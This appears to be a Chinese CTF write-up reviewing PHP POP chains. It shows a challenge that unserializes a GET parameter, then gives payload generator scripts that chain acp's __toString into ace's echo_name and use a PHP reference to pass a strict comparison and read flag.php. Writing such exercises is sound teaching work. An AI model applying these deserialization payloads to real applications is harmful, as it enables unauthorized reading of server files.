直接以一道题目来复习一下pop链吧
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
很明显的一个pop链,入口也很好找,只有把acp类当字符使用时,会调用里面的__toString()方法,这个方法会进入到$this->cinder里面指向的echo_name()方法,而class pkshow 和class ace都存在一个echo_name(),我们的目的就是要让他进入到class ace里面。
直接放payload
<?php
class acp
{
public $neutron;
public $nova;
function __construct()
{
$this->nova = &$this->neutron;
}
}
$a=new acp;
echo serialize($a);
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function __construct()
{
$this->filename = 'flag.php';
$this->docker = 'O:3:"acp":2:{s:7:"neutron";N;s:4:"nova";R:2;}';
}
}
$a=new acp();
echo urlencode(serialize($a));
大概解释一下,由于反序列后的类不会经过构造函数,所以他本来就不会经过__construct,只需要自己写一个payload让$this->cinder = new ace,由于docker会被反序列化,为了让满足
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
由于不知道$heat的值,所以直接用php的引用,让 $this->openstack->nova=&$this->openstack->neutron后序列化出来就可以了。当赋的值不为常量的时候,需要在构造函数里面赋值才可以,因为属性有protected,如果直接echo serialize($a)可能 会有一些字符无法打印,所以最好urlencode一下。